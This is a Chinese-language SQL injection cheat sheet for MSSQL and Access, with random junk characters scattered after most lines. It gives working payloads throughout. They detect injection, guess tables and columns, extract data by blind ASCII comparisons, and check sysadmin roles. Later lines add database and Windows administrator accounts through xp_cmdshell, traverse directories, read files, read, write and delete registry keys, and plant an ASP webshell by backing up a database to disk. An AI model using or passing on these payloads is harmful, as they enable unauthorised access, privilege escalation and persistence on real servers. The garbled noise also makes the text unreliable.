1.判断是否有注入;and 1=1 ;and 1=2 yH#zyO4fD-
2.初步判断是否是mssql ;and user>0 z9}rT<hy
TviC1 {2
3.注入参数是字符'and [查询条件] and ''=' =uQCm#
gdT3,8`#[
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Y5&Jgn.l
1_%jDMYH
5.判断数据库系统 .;ml[DXH
"aHY]E{
;and (select count(*) from sysobjects)>0 mssql nud,ag
PwU}<Hrl]
;and (select count(*) from msysobjects)>0 access zNofI$U
3Bee6N>
&F1h3q)L
8W)3rD>
6.猜数据库 ;and (select Count(*) from [数据库名])>0 }00mJ]H(
7Te`#"
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 pN6!IxN$
zhY VMQ
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 s\_-` [B0
\Si@t{`O
9.(1)猜字段的ascii值(access) 58,_
g6o-/A!Q3
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 *M\Qt_[
U>7"BpC
(2)猜字段的ascii值(mssql) hSSF]
0kS[`a(}J
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 M;OY+|uA
Vh$~]>t:f
10.测试权限结构(mssql) :BKY#uH~
+8Yt91
:P#
-BfZ P5
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 3Wxl7"!x m
b)9bYkd
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- wUHuykF
Z+`mla
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- S!A)kK+
Zy,U'Dv
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- A\ds0dUE
!;.i#c_u
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- } R!-*Wk
8fFURk
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9_V'P]@
..V6U"/
;and 1=(select IS_MEMBER('db_owner'));-- ]Cnj=\'
#x$.
o)F^0t
*X+T>SKL
11.添加mssql和系统的帐户 SoeL_#+^W
lTW5>%
;exec master.dbo.sp_addlogin username;-- >e
:&k p
;exec master.dbo.sp_password null,username,password;-- |B<+Y<)f^
VJ;n0*/
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- dDbPM9]5
2LGeRw
;exec master.dbo.xp_cmdshell 'net user username password J@C8;]
|V bF&*v`
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- rD<G_%hP
kKAK;JQ
;exec master.dbo.xp_cmdshell 'net user username password /add';-- <\!+J\YTA
J7W]Str
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- +C1/02ZJ
eyBLgJt8P
pqFgi_2m
h~{TCK+I
12.(1)遍历目录 sCU<1=
z1wy@1o'
;create table dirs(paths varchar(100), id int) 3$[!BPLFO
:"7V,UP
@
;insert dirs exec master.dbo.xp_dirtree 'c:\' 9iGUE
^d Fdw\
;and (select top 1 paths from dirs)>0 ag^EH"%zw
r7o63]
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) G/>upnA{w
5VdF^.:u
:\9E%/aAD
sYM3&ikyHI
(2)遍历目录 DcaVT]"
O`5PX(J1&
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Sx?IpcPSm
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 jR`q y<
pt<!b0G
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 RhIRCN9
n,}\;Bp
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 <x@brXA
fBBNP)
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 7.-Q9xv
f{MXH&d 1\
,<s'/8Ik
}wRHNBaEB
13.mssql中的存储过程 pYIm43r H
VSP6osX{
xp_regenumvalues 注册表根键, 子键 Wcd;B7OH
4^\5]d!
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8gWifx
#N
CIAHsbn.A
xp_regread 根键,子键,键值名 Lb;:<
SVWtKc<
;exec xp_regread 4%>iIPXi.(
d6,SZ*AE
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 .E}fk,hLB
k44sV.G4L
xp_regwrite 根键,子键, 值名, 值类型, 值 L;$Gn"7~
xR
`4<
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 2<53y~Yi%
g>)&Q>}=W
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 q66!xhp;?
sc
dU
xp_regdeletevalue 根键,子键,值名 XA75tU[#
]pr( hk
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 5<h7+ %?t9
s)X'PJ0&Bs
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ``KimeA~
'oSs5lW
k/bY>FY2r
MebLY $&8
14.mssql的backup创建webshell F_0vh;Jo
TY}9;QL:
use model e@N@8i"q5
H:byCFN-
create table cmd(str image); tmEF7e`(o
&U/7D!^X
insert into cmd(str) values (''); F;$z[z
S_?{<{
backup database model to disk='c:\l.asp'; ZP75zeH
7`-f N|
l%XuYYQ
5Y77g[AX2-
15.mssql内置函数 VBV y3fnj
~5LlIpf36|
;and (select @@version)>0 获得Windows的版本号 46`(u"RP
;LEO+,6
;and user_name()='dbo' 判断当前系统的连接用户是不是sa { ]Tb
B>sSl1opI
;and (select user_name())>0 爆当前系统的连接用户 0\XG;KA
T=Q"|S]V
;and (select db_name())>0 得到当前连接的数据库 Mg3>/!
2;X{ZLo
b.HfxYt(
trD-qi
16.简洁的webshell ^W!w~g+
#mu3`,9V
use model 2_i/ F)W
P X/{
create table cmd(str image); 5WJof`M
+b@KS"3h
insert into cmd(str) values (''); !Ab4'4f
esE5#Yq4.k
backup database model to disk='g:\wwwtest\l.asp';